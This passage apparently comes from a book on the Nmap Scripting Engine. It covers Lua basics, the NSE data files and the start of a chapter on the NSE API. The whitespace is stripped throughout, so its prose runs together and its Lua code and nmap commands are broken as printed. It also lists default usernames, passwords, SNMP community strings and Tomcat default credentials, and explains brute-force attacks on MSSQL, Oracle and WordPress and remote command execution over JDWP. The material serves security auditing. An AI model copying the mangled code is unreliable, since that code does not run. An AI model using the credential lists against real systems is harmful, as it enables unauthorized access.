string.find(s,pattern[,init[,plain]])
string.match(s,pat)
string.gmatch(s,pat)
Thestring.findfunctionreturnsthepositionofthebeginningandendofthestringoccurrenceornilifnooccurrenceisfound.Itshouldbeusedwhenweneedtofindastringandthepositionoffsetsareneeded:
>print(string.find("hello","ello"))
25
Ontheotherhand,ifyoudon’tneedthepositionindexes,youcouldusethestring.matchfunction:
Ifstring.match(resp.body,"root:")then
…--Dosomethinghere
end
Thestring.findandstring.matchmethodsonlyworkwiththefirstoccurrenceofthestring.Iftherearemultipleoccurrences,youmustusestring.gmatch(gstandsforglobal)togetaniteratoroftheobjectsfound:
foriinstring.gmatch("a1b2c3d4e5f6","%d")do
print(i)
end
Hereistheoutputoftheprecedingcode:
1
2
3
4
5
6
StringrepetitionToconcatenatentimesthesstringwithLua,wehavethestring.repfunction:
string.rep(string,number)
Example:
>print(string.rep("a",13))
aaaaaaaaaaaaa
StringlengthTodeterminethelengthofastring,usethestring.lenfunction:
string.len(string)
Example:
>print(string.len("AAAAAAA"))
7
FormattingstringsWecancreatestringswithagivenformatandvariables.Thissavestimeandproducesbettercode(easiertoread)thanusingmultipleconcatenationoperators:
string.format(string,arg1,arg2,…)
Example:
--Herebothstringsareequal
localstring1="hey"..var1..":"
localstring2=string.format("hey%:",var1)
SplittingandjoiningstringsAlthoughthereisnobuilt-infunctiontosplitandjoinstrings,thestdnseNSElibrarycantakecareofthat:
stdnse.strjoin(delimeter,list)
stdnse.strsplit(pattern,text)
Example:
localstdnse=require"stdnse"
…
localcsv_str="[email protected],[email protected],[email protected]"
localcsv_to_emails=stdnse.strsplit(",",emails)
foremailinpairs(csv_to_emails)do
print(email)
end
Theoutputoftheprecedingcodeisasfollows:
CommondatastructuresInLua,youwillusethetabledatatypetoimplementallyourdatastructures.Thisdatatypehasgreatfeaturessuchastheabilitytostorefunctionsandbedynamicallyallocated,amongmanyothers.Hopefully,afterreviewingsomecommondatastructures,youwillfindyourselflovingtheirflexibility.
TablesTablesareveryconvenientandallowustoimplementdatastructuressuchasdictionaries,sets,lists,andarraysveryefficiently.Atablecanbeinitializedemptyorwithsomevalues:
T1={}--emptytable
T2={"a","b","c"}
Integerindexesorhashkeyscanbeusedtoassignordereferencethevaluesinatable.Oneimportantthingtokeepinmindisthatwecanhavebothtypesinthesametable:
t={}
t[1]="hey"
t["nmap"]="hi"--Thisisvalid
Togetthenumberofelementsstoredinatable,youmayprependthe#operator:
if#users>1then
print(string.format("Thereare%duser(s)online.",#users))
…--Dosomethingelse
end
NoteKeepinmindthatthe#operatoronlycountsentrieswithintegerindexesandisnotdeterministic.Ifyouareworkingwithnon-linearintegerindexes,youneedtoiteratethroughthetabletogetthenumberofitems:
functiontlength(t)
localcount=0
for_inpairs(t)docount=count+1end
returncount
end
ArraysArrayscanbeimplementedsimplybyusingtableswithintegerindexes.Thetable’ssizedoesnotneedtobedeclaredatthebeginningandcangrowasyouneeditto:
a={}
fori=1,10do
a[i]=0
end
Anotherexample:
a={4,5,6}
print(a[1])--willprint4
print(a[3])--willprint6
a[5]=9--Thisassignmentisvalid.
print(a[5])--Thiswillprint9
LinkedlistsSincetablescanstorereferencestoothertables,wecanimplementlinkedlistsprettystraightforwardlybyassigningafieldasthereferencetothenextlink:
linked_list=nil
contactA={name="PaulinoCalderon",num=123456789}
contactB={name="JohnDoe",num=1111111}
contactC={name="MrT",num=123}
linked_list={data=contactA,ptr=linked_list}
linked_list={data=contactB,ptr=linked_list}
linked_list={data=contactC,ptr=linked_list}
localhead=linked_list
whileheaddo
print(string.format("%s:%s",head.data["name"],head.data["num"]))
head=head.ptr
end
Theoutputoftheprecedingcodeisasfollows:
MrT:123
JohnDoe:1111111
PaulinoCalderon:123456789
SetsSetsarecommonlyusedtolookuptables;sincewecanusehashkeysasindexesinLua,lookupsareexecutedinconstanttimeandveryefficiently:
set={}
items={"2013-02-01","2013-02-02","2013-02-03"}
for_,keyinpairs(items)do
set[key]=true
end
--Tolookupakey,wesimplyaccessthefield.
ifset["2013-02-01"]then
print("Recordfound.")
end
QueuesAFIFOqueuecanalsobeimplementedinafewlinesofsourcecode:
--Initializesanewqueue
--@returnIndextable
functionqueue_new()
return{head=0,tail=-1}
end
--Addselementtothequeue
--InsertsareFIFO
--@paramqueueQueue
--@paramvalueValueofnewelement
functionqueue_add(queue,value)
locallast=queue.tail+1
queue.tail=last
queue[last]=value
end
--Removeselementfromqueue
--DeletionsareFIFO
--@paramqueueQueue
--@returnTrueifoperationwassuccesfull
--@returnErrorstring
functionqueue_remove(queue)
localfirst=queue.head
iffirst>queue.tailthen
returnfalse,"Queueisempty"
end
localvalue=queue[first]
queue[first]=nil
queue.head=first+1
returntrue,value
end
--Returnstrueifqueueisempty
--@paramqueueQueue
--@returnTrueifgivenqueueisempty
functionqueue_is_empty(queue)
ifqueue.head>queue.tailthen
returntrue
end
returnfalse
end
CustomdatastructuresTablescanalsobeusedtorepresentmanyothercustomdatastructures.SomeNSEscriptsusetablesstoredinfilesasdatabases.Tablescanalsoreferenceothertablesorevenstorefunctions;thisisveryhandywhenmodelingdata.
Intheupcomingsections,youwilllearnhowthehttp-enumandhttp-default-accountsNSEscriptsusetablestoeasilystorefingerprintsthatcanalsobeloadedintoascriptwithouttheneedforadditionalparsingroutines.
http-enumdatabaseThisisthestructureofafingerprintbelongingtothehttp-enumNSEscript:
{
category='general',
probes={
{
path='/archiva/index.action',
method='GET'
},
{
path='/index.action',
method='GET'
}
},
matches={
{
match='.*">ApacheArchiva(.-)</a>',
output='ApacheArchivaversion\\1'
},
{
match='ApacheArchiva(%d-%..-)\n',
output='ApacheArchivaversion\\1'
},
{
match='<title>ApacheArchiva\\',
output='ApacheArchiva'
}
}
});
http-default-accountsHereisthestructureofafingerprintofthehttp-default-accountsNSEscript:
{
name="ApacheTomcat",
category="web",
paths={
{path="/manager/html/"},
{path="/tomcat/manager/html/"}
},
login_combos={
{username="tomcat",password="tomcat"},
{username="admin",password="admin"}
},
login_check=function(host,port,path,user,pass)
returntry_http_basic_login(host,port,path,user,pass)
end
}
I/OoperationsFilemanipulationinLuaisdoneoneitherimplicitorexplicitfiledescriptors.Wewillfocusonusingexplicitfiledescriptorstoperformmostoftheoperations.
NoteIfweworkwithimplicitfiledescriptorsbydefault,Luawillusestdinandstdoutrespectively.Alternatively,wecansettheoutputandinputdescriptorswithio.outputandio.input,respectively.
ModesFilemodessupportedinLuaarethefollowing:
Filemode Description
r Thisisreadmode.
w Thisiswritemode.
a Thisisappendmode.
r+ Thisisupdatemode.Itpreservesexistingdata.
w+ Thisisupdatemode.Itdeletesanyexistingdata.
a+ Thisisappendupdatemode.Itpreservesexistingdataandonlyallowsappendingattheendofthefile.
OpeningafileTheio.openfunctionreturnsafiledescriptorifsuccessful:
file=io.open(filename[,mode])
Ifitfails,itwillreturnnilandthecorrespondingerrormessage(likemostLuafunctions).
ReadingafileToreadafileusinganexplicitfiledescriptor,usetheio.readfunction:
file=io.open(filename)
val=file:io.read("%d")
Thereisafunctioncalledio.linesthatwilltakeafilenameasanargumentandreturnaniteratortotraverseeachlineofthefilename.Thisfunctioncanhelpusprocessfilesinchunksdividedbynewlines:
forlineinio.lines(filename)do
ifstring.match(line,"<password>(.*)</password>")then
…--Dosomethinghere
end
end
WritingafileTheio.writefunctiontakesnstringargumentsandwritesthemtothecorrespondingfiledescriptor:
io.write(arg1,arg2,arg3…)
Example:
filename="test.txt"
str1="hello"
str2="nmaper"
file=io.open(filename,"w")
file:write(str1,str2)
…
Thecontentsofthetest.txtfileareasfollows:
Hellonmaper
ClosingafileAfteryouaredone,youshouldclosethefileusingtheio.closefunctiontoreleasethefiledescriptor:
io.close([file])
CoroutinesCoroutinesareaveryinterestingfeatureofLuathatallowcollaborativemultitasking.Keepinmindthatcoroutinesarenotregularpreemptivethreads.Coroutineswillhelpyousavetimewhenyouneeddifferentworkersthatusethesamecontext;theyconsumeveryfewresources.
Let’slearnthebasicsofcoroutines.LaterinChapter9,Parallelism,wewillgointothissubjectindepth.
CreatingacoroutineTocreateacoroutine,usethecoroutine.createfunction.Thisfunctioncreatesthecoroutinewithoutexecutingit:
localnt=coroutine.create(function()print("w00t!")
end)
ExecutingacoroutineToexecuteacoroutine,usethecoroutine.resumefunction:
coroutine.resume(<coroutine>)
Youcanalsopassparameterstothecoroutinefunctionasadditionalargumentstothecoroutine.resumefunction:
localnt=coroutine.create(function(x,y,z)print(x,y,z)end)
coroutine.resume(nt,1,2,3)
Hereistheoutputoftheprecedingcode:
1,2,3
NoteThereisafunctioncalledcoroutine.wrapthatcanreplacetheneedtoruncoroutine.createandcoroutine.resume.Theonlydifferenceisthatthecoroutinemustbeassignedtothisfunction:
localntwrapped=coroutine.wrap(function()print("w00t!")end)
ntwrapped()--Willprintw00t!
DeterminingtherunningcoroutineToobtainthecoroutinecurrentlyrunning,usethecoroutine.runningfunction:
nt=coroutine.create(function()
print("NewCO!")
print(coroutine.running())
end)
print(coroutine.running())
coroutine.resume(nt)
Theoutputoftheprecedingcodeisasfollows:
thread:0x931a008true
NewCO!
thread:0x931da78false
GettingthestatusofacoroutineTogetthecurrentstatusofacoroutine,wecanusethecoroutine.statusfunction.Thisfunctioncanreturnoneofthefollowingvalues:
Functionvalue Description
running Coroutineisexecuting
dead Coroutinehasfinishedrunning
suspended Coroutineiswaitingtobeexecuted
Example:
localnt=coroutine.create(function()
print(string.format("I'maliveee!Thestatusofthecoroutineis:%s",
coroutine.status(coroutine.running())))
end)
coroutine.resume(nt)
print("NowI'm"..coroutine.status(nt))
Hereistheoutputoftheprecedingcode:
I'maliveee!Thestatusofthecoroutineis:running
NowI'mdead
YieldingacoroutineToputacoroutineinsuspendedmode,usethecoroutine.yieldfunction:
localnt=coroutine.wrap(function(msg)
print(msg)
coroutine.yield()
print("Resumed!")
coroutine.yield()
print("Resumedagain")
coroutine.yield()
print("Resumedoncemore")
end)
nt("Hellonmaper!")
nt()
nt()
nt()
Theoutputoftheprecedingcodeisasfollows:
Hellonmaper!
Resumed!
Resumedagain
Resumedoncemore
MetatablesandmetamethodsMetamethodsallowustochangethebehaviorofatablebywritingcustomfunctionsforoperators—suchascomparingobjects,arithmeticaloperations,andmore.Forexample,let’ssaywewouldliketooverloadthe“add”functionalityofourtableobjectwithanewfunctionthataddscertainfieldsweselect.Normally,theadditionoperationisn’tvalidontablesbut,withmetatables,wecanoverwritethe__addmetamethodtoperformwhateverweneed.
ArithmeticmetamethodsThemetamethodssupportedbyLuatablesareasfollows:
Metamethod Description
__add Additionoperator
__mul Multiplicationoperator
__sub Subtractionoperator
__div Divisionoperator
__unm Negationoperator
__pow Exponentiationoperator
__concat Concatenationoperator
RelationalmetamethodsThefollowingrelationalmetamethodsarealsosupportedbyLuatables:
Metamethod Description
__eq Equality
__lt Lessthan
__le Lessthanorequalto
Thesetmetatablefunctionisusedtosetthemetatableofatable:
localvuln1={criticity_level=10,name="Vuln#1"}
localvuln2={criticity_level=4,name="Vuln#2"}
localmt={
__add=function(l1,l2)–Overridethefunction"add"
return{criticity_level=l1.criticity_level+l2.criticity_level}
end
}
setmetatable(vuln1,mt)
setmetatable(vuln2,mt)
localtotal=vuln1+vuln2
print(total.criticity_level)--Prints14whennormallyitwouldfailbefore
reachingthisstatement.
SummaryLuaisadynamicallytypedlanguagethatisperfectforquickscripting.Itisverylight,memory-safe,andoffersusefulfunctionsforcollaborativemultitasking,patternmatching,datamodelling,andstringhandling.NmapusesLuatopoweritsscriptingenginecalledNSE.Inthischapter,ItriedtoprovidethefundamentalsofLuaforthosewhoarenotfamiliarwiththelanguage.Icoveredtopicssuchasstringmanipulation,flowcontrolstructures,datatypes,andevenspecialquirksinthelanguage.
Ifirmlybelievethat,totrulymasterNSE,onemustbeabletodebugandcreateNSEscripts.Thosewhodowillhaveaninvaluabletoolattheirdisposal.Inthenextchapter,wewillgodeepintothecoreofNSEtolearnitslibraries,functions,andsecrets.Asinanyotherprogramminglanguage,practicemakesamaster.Aftereachchapter,trytoapplytheconceptsandwriteatleastonescript.Ifyoudothat,then,bytheendofthisbook,youwillhavemasteredNSE.
Chapter3.NSEDataFilesSomeNmapScriptingEngine(NSE)scriptsrequiredatabasestostorelistsofdetailssuchasusernames,passwords,miscellaneousstrings,andLuatablescontainingfunctionsusedasfingerprints.NSEstoresthesedatabasesinafolderdefinedduringinstallation.Theentriesselectedforeachdatabaseattempttoworkasbestaspossibleinthemostcommonscenariosbutavoidincludinglargefilesinordertopreventbloatingofficialreleases.
Advancedusersquicklyunderstandthatitisessentialtoupdatesomeofthesedatabasesfortheirdailytasks.TheeffectivenessofsomeNSEscriptsisseverelyaffectedbyhowwellweselectdatabasesusedduringourNmapscans.
ThischapterdescribesthemostimportantdatafilesinNSEsothatyoucandecidewhenusingthedefaultdatabaseisenoughandwhenyouneedtouseadifferentone.
Inthischapter,wewillreviewthefollowingfilesdistributedwithNmap:
TheNmapdatadirectoryUsernameandpassworddatafilesWebapplicationauditingdatafilesDatabaseManagementSystems(DBMS)auditingdatafilesJavaDebugWireProtocol(JDWP)datafilesOtherNSEdatafiles
Theofficialwebsiteofthisbookalsoincludessomedatafilesyoucandownload.Let’sstartthechapterbydescribingwherethesedatabasesarestoredandhowyoucanfindthedatadirectory.
LocatingyourdatadirectoryThischapterincludesreferencestoyourNmapdatadirectory,soitisimportantthatyoulocateitbeforecontinuing.ThefollowingtableshowssomeofthedefaultinstallationpathswhereyoucanfindNmap:
Operativesystem Installationpath
Windows C:\ProgramFiles\Nmap\
Non-Windows /usr/local/share/nmap/and/usr/share/nmap/
TheNSEdatadirectoryislocatedatnselib/datainsideyourNmapinstallationpath.
The--datadirargumentcanbeusedtomanuallyselectthedatadirectorytobeusedduringascan,likethis:
$nmap--datadir/usr/local/nmap-data/-sC-sV<target>
DatadirectorysearchorderNSEwillautomaticallyattempttoretrievedatafilesfromdifferentsources,andtheorderofthissearchdetermineswhichfileswillbeusedwhenmorethanonedatafilesourceisavailable.
NSEwillattempttofindthedatafilesinthefollowingorder:
Thescriptargument,--data-dir(ifset)Theenvironmentvariable,NMAPDIRThe~/.nmapdirectoryoftherunninguser(onlyonnon-Windowssystems)TheinstallationdirectoryTheinstallationdirectorywith../share/nmapappended(onlyonnon-Windowssystems)Thelocationdefinedatcompiletime
Usernameandpasswordlistsusedinbrute-forceattacksThebrutelibraryandalltheNSEscriptsdependingonitusetwoseparatedatabasestoretrieveusernamesandpasswordswhenperformingbrute-forcepassword-auditingattacks.ThedictionariesdistributedwithNmaparesomewhatsmallsinceitwouldn’tbepracticaltoincludeanddistributelargefiles.Itisuptotheuserstoeitherreplacethedictionariesorprovidedifferentdictionariesviathelibraryarguments,giventhatthedefaultusernameandpassworddictionariesareonly72KBand46KBinsize,respectively.
Keepinmindthattheeffectivenessofallyourbrute-forceattacksdependsonhowgoodyourdictionariesare.
UsernamedictionariesUsernamesarestoredinyourNmapdatadirectoryintheusernames.lstfile.Thisfilecontainsthefollowingentries:
root
admin
administrator
webadmin
sysadmin
netadmin
guest
user
web
test
Dependingontheservice,certainusersmustbeaddedforthescriptstobesuccessful.Forexample,MSSQLServer’sdefaultadministrationaccount,sa,isnotincludedinthedefaultlist,andisnotlikelytobeinagenericusernamelistbasedonEnglishwords,either.Ifyourunthems-sql-brutescriptwithoutarguments,youwillneverbeabletocheckwhethertheadministratoraccountusesaweakpassword.
TipIncaseyoudon’tknowwheretogetagooddictionaryfile,I’veuploadeddifferentdictionariesandsourcestotheofficialwebsiteofthisbook.Asalways,recommendationsarewelcomeathttp://mastering-nse.com.
PassworddictionariesThepasswordlistusedbythebrutelibraryisstoredinthepasswords.lstfileinsideyourNmapdatadirectory.Itcontainsjustover5,000ofthemostpopularpasswords.ThiswordlistisgreatforsystemsthatusepasswordsinEnglish,butisnotnecessarilytooeffectiveinotherlanguages.
Usingthecorrectpasswordlistwillbethedifferencebetweencompromisingaserviceandnot.Ihighlyrecommendalwaysselectingyourwordlistmanuallywitheverydictionaryattacktoimproveeffectiveness.Ialsosuggestkeepingdifferentversionsforgeneralservicescansandanotheronewithyourbiggestwordlistagainstspecificservicestoavoidnetworkcongestion.
WebapplicationauditingdatafilesNSEiswell-knownforitswebscanningcapabilities,andsomeofthescriptsalsorequiredatafilestoincreasetheirflexibility.Again,asageneralrecommendation,youshouldgothroughthemtoensurethattheyapplytoyourlocale.Let’sreviewwhatdatafilesareavailableforwebsecurityauditing.
http-fingerprints.luaThisisthemostimportantfilerelatedtowebscanninginNSE.Itcontainsthefingerprintsusedbythehttp-enumscript.Thehttp-enumscriptisthewebenumerationscriptthatlooksforcommonapplicationpathsandforgottenconfigurationfiles;itevendetectssomewebvulnerabilities.
ThefingerprintsareactuallyLuatables.Anentrylookssomewhatsimilartothefollowing:
table.insert(fingerprints,{
category='cms',
probes={
{path='/changelog.txt'},
{path='/tinymce/changelog.txt'},
},
matches={
{match='Version(.-)',output='Version\\1'},
{output='Interesting,achangelog.'}
}
})
Youmayselectthelocationofadifferentfingerprintfileusingthehttp-enum.fingerprintfilescriptargument:
$nmap--scripthttp-enum--script-argshttp-
enum.fingerprintfile=./myfingerprints.txt-p80<target>
TheformatofthedatabaseallowsustoinsertnewfingerprintsbysimplyaddingnewLuatablestothefile.Ifyouwritenewsignatures,don’tforgettocontributetotheprojectbysendingthemtothedevelopmentmailinglist.
TipTheofficialdocumentationofthehttp-enumscriptcanbefoundathttp://nmap.org/nsedoc/scripts/http-enum.html.
http-sql-errors.lstThisfilecontainstheerrorstringsusedwhendetectingSQLinjectionvulnerabilitieswiththehttp-sql-injectionscript.Thisdatabasewastakenfromthefuzzdbproject(http://code.google.com/p/fuzzdb/)andcontains339errorstrings.
Youmaysetadifferentsourcewiththehttp-sql-injection.errorstringsscriptargument:
$nmap-p80--scripthttp-sql-injection--script-argshttp-sql-
injection.errorstrings=/home/user/fuzzin/errors.txt<target>
TipTheofficialdocumentationofthehttp-sql-injectionscriptcanbefoundathttp://nmap.org/nsedoc/scripts/http-sql-injection.html.
http-web-files-extensions.lstThehttp-spiderNSElibraryusesthisfiletostorecommonfileextensionsusedinwebpages.Thedefaultfilehas214extensions,butyoucaneasilyaddyourownifyouareworkingwithafairlyexoticwebenvironmentandthewebcrawlinglibraryisparsingfilesthatitisnotsupposedto.
http-devframework-fingerprints.luaThisfileisusedbythehttp-devframeworkscriptthatwaswrittentoautomaticallyidentifycommondevelopmentframeworksusedbywebapplications.EachentryisaLuatablecontainingthefollowingfields:
name:ThisisthedescriptivenameofthedevelopmentsignaturerapidDetect:ThisisthecallbackfunctionexecutedatthebeginningofthedetectionprocessconsumingDetect:Thisisthecallbackfunctionexecutedforeachspideredpage
Forexample,thedetectionfunctionfortheASPenvironmentisasfollows:
ASPdotNET={rapidDetect=function(host,port)
response=http.get(host,port,"/")
—LookforanASP.NETheader.
forh,vinpairs(response.header)do
vl=v:lower()
ifh=="x-aspnet-version"orstring.find(vl,"asp")then
return"ASP.NETdetected.Foundrelatedheader."
end
end
ifresponse.cookiesthen
for_,cinpairs(response.cookies)do
ifc.name=="aspnetsessionid"then
return"ASP.NETdetected.Foundaspnetsessionidcookie."
end
end
end
end,
consumingDetect=function(page,path)
—Checkthesourceandlookforcommontraces.
ifpagethen
ifstring.find(page,"__VIEWSTATE")or
string.find(page,"__EVENT")or
string.find(page,"__doPostBack")or
string.find(page,"aspnetForm")or
string.find(page,"ctl00_")then
return"ASP.NETdetected.Foundcommontraceson"..path
end
end
end
}
TipTheofficialdocumentationforthehttp-devframeworkscriptcanbefoundathttp://nmap.org/nsedoc/scripts/http-devframework.html.
http-folders.txtThisfilecontains956stringscommonlyusedinfoldernames,andisrequiredbythehttp-iis-webdav-vulnscript.ThisscriptattemptstoidentifyvulnerableIIS5.1/6.0webservers.
TipYoumaysetthefolderdbscriptargumenttoselectanalternatedatabase:
$nmap-p80--scripthttp-iis-webdav-vuln--script-args
folderdb=/pentest/fuzzers/folders.txt<target>
Theofficialdocumentationforthehttp-iis-webdav-vulnscriptcanbefoundathttp://nmap.org/nsedoc/scripts/http-iis-webdav-vuln.html.
vhosts-default.lstThehttp-vhostsscriptusesthisfiletotrytofinddifferentvirtualhostsconfiguredinawebserver.Ifyouwillbeworkingwithwebapplications,itisessentialthatyouincreaseyourcoverageusingalargerdatasource.
Youmaysetthehttp-vhosts.filelistscriptargumenttoselectanalternatedatabase:
$nmap-p80--scripthttp-vhosts--script-argshttp-
vhosts.filelist=/pentest/vhosts.txt<target>
TipTheofficialdocumentationofthehttp-vhostsscriptcanbefoundathttp://nmap.org/nsedoc/scripts/http-vhosts.html.
wp-plugins.lstThewp-plugins.lstfileinsideyourNmapdatadirectorycontains18,575commonWordPresspluginnamesandisusedduringbrute-forceattacksbythehttp-wordpress-pluginsscript.However,keepinmindthatthescriptwillonlytrythetop100namesifyoudonotsetthehttp-wordpress-plugins.searchscriptargument:
$nmap-p80--scripthttp-wordpress-plugins--script-argshttp-wordpress-
plugins.search<target>
TipTheofficialdocumentationforthehttp-wordpress-pluginsscriptcanbefoundathttp://nmap.org/nsedoc/scripts/http-wordpress-plugins.html.
DBMS-auditingdatafilesCertainscriptsrelatedtoDBMSusedatafilestostorecommon,relatedstringsandfingerprintstoperformsecurityaudits.IfyounormallyworkwithOracleenvironments,Ihighlyrecommendupdatestothefollowingfiles.
mysql-cis.auditThemysql-cis.auditfileinsideyourNmapdatadirectorycontainsconfigurationchecksdescribedintheCISMySQLv1.0.2benchmark.Itisusedbythemysql-auditscripttoperformconfigurationchecksbycarryingoutaseriesoftests.Atestlookslikethis:
--Logging
test{id="3.1",desc="Skipsymboliclinks",sql="SHOWvariablesWHERE
Variable_name='log_error'ANDValueISNOTNULL",check=function(rowstab)
return{status=not(isEmpty(rowstab[1]))}
end
}
Youmaysetthemysql-auditscriptargumenttoselectanalternatedatabase:
$nmap-sV--scriptmysql-audit--script-argsmysql-
audit.filename=/pentest/mysql.audit<target>
TipTheofficialdocumentationforthemysql-auditscriptcanbefoundathttp://nmap.org/nsedoc/scripts/mysql-audit.html.
oracle-default-accounts.lstTheoracle-default-accounts.lstfileinsideyourNmapdatadirectoryisusedbytheoracle-bruteandoracle-brute-stealthscriptstoattempttoenumeratevalidusernamesinOracleservers;itcontains687entries.
Toforcetheoracle-bruteandoracle-brute-stealthscriptstoreadalternatedatabases,youmaysettheuserdbargument:
$nmap--scriptoracle-brute--script-argsuserdb=/pentest/users.txt
<target>
TipTheofficialdocumentationfortheoracle-default-accountsscriptcanbefoundathttp://nmap.org/nsedoc/scripts/oracle-enum-users.html.
oracle-sidsTheoracle-sidsfileinsideyourNmapdatadirectorycontainsover700commoninstancenamesusedbyOracleserversandisdistributedwiththeoracle-sid-brutescript.Theoracle-sid-brute.oraclesidsscriptargumentcanbeusedtosetanalternatedatasourcefromthecommandline:
$nmap-p1521-1560--scriptoracle-sid-brute--script-argsoracle-sid-
brute.oraclesids=/pentest/sids.txt<target>
TipTheofficialdocumentationoftheoracle-sid-brutescriptcanbefoundathttp://nmap.org/nsedoc/scripts/oracle-sid-brute.html.
JavaDebugWireProtocoldatafilesTheremotedebuggingportofJavausestheJDWPprotocol,andNSEhasafewscriptstodetectandexploitvulnerableservers.Let’sbrieflyreviewtheavailableJavaclassesyouwillfinddistributedwithNmapinsideyourdatadirectory.
JDWPExecCmd.javaThisistheJavaclassusedtorunremotecommands.ItusestheRuntime.getRuntime().execfunctiontoexecutethedesiredcommands.
JDWPSystemInfo.classThisJavafunctionattemptstoretrievethefollowingsysteminformation:
Totalspace(bytes)Freespace(bytes)OSOSversionOSpatchlevelOSarchitectureJavaversionUsernameUserhome
OtherNSEdatafilesNowwewillbrieflycoverotherinterestingNSEdatafilesthatdonotfallunderthepreviouscategories.
mygroupnames.dbThisfilecontains450stringsusedasmulticastgroupnamesbythebroadcast-igmp-discoveryscript.Rememberthatyoucanalsousethebroadcast-igmp-discovery.mygroupnamesdbscriptargumenttouseadifferentdatabase:
$nmap--scriptbroadcast-igmp-discovery--script-argsbroadcast-igmp-
discovery.mygroupnamesdb=/pentest/groups.txt<target>
TipTheofficialdocumentationofthebroadcast-igmp-discoveryscriptcanbefoundathttp://nmap.org/nsedoc/scripts/broadcast-igmp-discovery.html.
rtsp-urls.txtThisdatabaseisusedbythertsp-url-brutescripttostore74commonmediaURLsinsurveillanceIPcameras.Youmaysetanalternatedatafileusingthertsp-url-brute.urlfilescriptargumentfromthecommandline:
#nmap-p--sV--scriptrtsp-url-brute--script-argsrtsp-url-
brute.urlfile=/pentest/urls-media.txt<target>
TipTheofficialdocumentationofthertsp-url-brutescriptcanbefoundathttp://nmap.org/nsedoc/scripts/rtsp-url-brute.html.
snmpcommunities.lstTheSNMPprotocolusuallyprovidesalotofinformationaboutahost.However,someNSEscriptsthatworkwiththeprotocolrequireacommunitystring.Inthisdefaultfilelocatedinsideyourdatadirectory,thereareonlysixcommunitystrings:
public
private
snmpd
mngt
cisco
admin
ssl-ciphersThessl-enum-ciphersscriptusesthisfiletostorethescoreofknownencryptionciphers.
TipTheofficialdocumentationforthessl-enum-ciphersscriptcanbefoundathttp://nmap.org/nsedoc/scripts/ssl-enum-ciphers.html.
ssl-fingerprintsThisfileisusedbythessl-known-keyscripttomatchaknownlistofproblematickeys.
TipTheofficialdocumentationforthessl-known-keyscriptcanbefoundathttp://nmap.org/nsedoc/scripts/ssl-known-key.html.
ike-fingerprints.luaThisfileisusedbytheike-versionscripttogatherinformationfromanIKEservice.Anentryhasthefield’scategory,vendor,version,ostype,devicetype,cpe,andfingerprint;itlookslikethefollowingcode:
{
category='vid_ordering',
vendor='Cisco',
version=nil,
ostype='PIXOS7.1orlater',
devicetype=nil,
cpe='cpe:/o:cisco:pix:7.1_or_later',
fingerprint=
'^12f5f28c457168a9702d9fe274cc010009002689dfd6b7124048b7d56ebce88525e7de7f0
0d6c2d3c00000001f07f70eaa6514d3b0fa96542a…...'
—CiscoUnity,XAUTH,IKEFragmentation,CiscoVPNConcentrator
}
TipTheofficialdocumentationfortheike-versionscriptcanbefoundathttp://nmap.org/nsedoc/scripts/ike-version.html.
tftplist.txtInsideyourdatadirectory,thisfileisusedbythetftp-enumscriptandstores89commonconfigurationfilesfoundinTFTPservers.Tomanuallysetthefilelisttodownload,usethetftp-enum.filelistscriptargument:
$nmap-sU-p69--scripttftp-enum--script-argstftp-enum-
filelist=/pentest/files.txt<target>
TipTheofficialdocumentationforthetftp-enumscriptcanbefoundathttp://nmap.org/nsedoc/scripts/tftp-enum.html.
OtherNmapdatafilesNmapalsousesotherdatafilesthatwewillnotcover,sincetheyarenotrelatedtoNSE.However,theyareworthmentioningifyouplantoaddyourownOSandservicedetectionsignatures.
Formoreinformationonthesefiles,seethefollowinglinks:
http://nmap.org/book/data-files.htmlhttp://nmap.org/book/data-files-replacing-data-files.html
SummaryInthischapter,welookedatthedifferentdatafilesusedbyNSEandtheimportanceofusingyourowncustomfiles.Fromnowon,youwillrecognizeopportunitiestocustomizeyourscanstoimprovetheireffectivenessaccordingtotheenvironment.Ialsorecommendthatyoustarthoardingthecommonstrings,usernames,andpasswordsyouencounterinyourdailylife.Itwillproveveryvaluablefurtherdowntheline.
Inthenextchapter,youwillstartlearningabouttheNSEAPIandtheavailablelibrariesthatwillmakeourliveseasier.Itistimeyoudevelopyourveryownscript.
Chapter4.ExploringtheNmapScriptingEngineAPIandLibrariesTheNSEAPIandlibrariesallowdeveloperstoobtainhostandportinformation,includingversionsofservices,andperformawiderangeoftaskswhenscanningnetworkswithNmap.Asinanyotherprogramminglanguageorframework,NSElibrariesseparateandrefactorcodethatwilllikelybehelpfulforotherNSEscripts.Taskssuchascreatinganetworksocketconnection,storingvalidcredentials,orreadingscriptargumentsfromthecommandlinearecommonlyhandledbytheselibraries.Nmapcurrentlydistributes107NSElibrariesofficiallytocommunicatewiththemostpopularprotocols,performcommonstringhandlingoperations,andevenprovideimplementationclassessuchasthebrutelibrary,whichprovidesaDriverclasstoquicklywriteyourownpassword-auditingscripts.
Thischaptercoversthefollowingtopics:
UnderstandingthestructureofanNSEscriptExploringtheNmapAPIandlibrariesSharinginformationbetweenscriptswiththeNSEregistryWritingyourownNSElibrariesExpandingthefunctionalityofNSElibraries
Afterfinishingthischapter,youwillunderstandwhatinformationcanbeaccessedthroughtheNmapAPIandhowtoupdatethisinformationtoreflectscriptresults.MygoalistogetyoufamiliarwithsomeofthemostpopularNSElibrariesandteachyouhowtoexpandtheirfunctionalityifneeded.
UnderstandingthestructureofanNSEscriptAnNSEscriptrequiresatleastthefollowingfields:
Description:Thisdescriptionisreadbythe--script-helpNmapoptionandisusedinthedocumentation.Categories:Thisfielddefinesthescriptcategoryusedwhenselectingscripts.Foralistofavailablecategories,seeAppendixC,ScriptCategories.Action:ThisisthemainfunctionoftheNSEscriptthatgetsexecutedonselection.Executionrule:Thisdefineswhenthescriptisgoingtorun.SeeChapter1,IntroductiontotheNmapScriptingEngine,forsomeexamplesofexecutionrules.
NoteForacompletelistofcategories,seeAppendixC,ScriptCategories.
OtherNSEscriptfieldsOtheravailablefieldsdescribetopicssuchaslicensing,dependencies,andcategories.Thesefieldsareoptional,butIhighlyencourageyoutoaddthemtoimprovethequalityofyourscript’sdocumentation.
AuthorThisfieldgivescreditstotheauthorsofthescriptswhosharetheirworkwiththecommunity.Itisacceptabletoincludee-mailaddresses.
LicenseDevelopersarefreetousewhateverlicensetheypreferbut,iftheywouldliketosharetheirscriptsandincludethemwithofficialreleases,theymustuseeitherNmap’slicensesorlicensesoftheBerkeleySoftwareDistribution(BSD)style.
TipThedocumentationdescribingNmap’slicensecanbefoundathttp://nmap.org/book/man-legal.html#nmap-copyright.
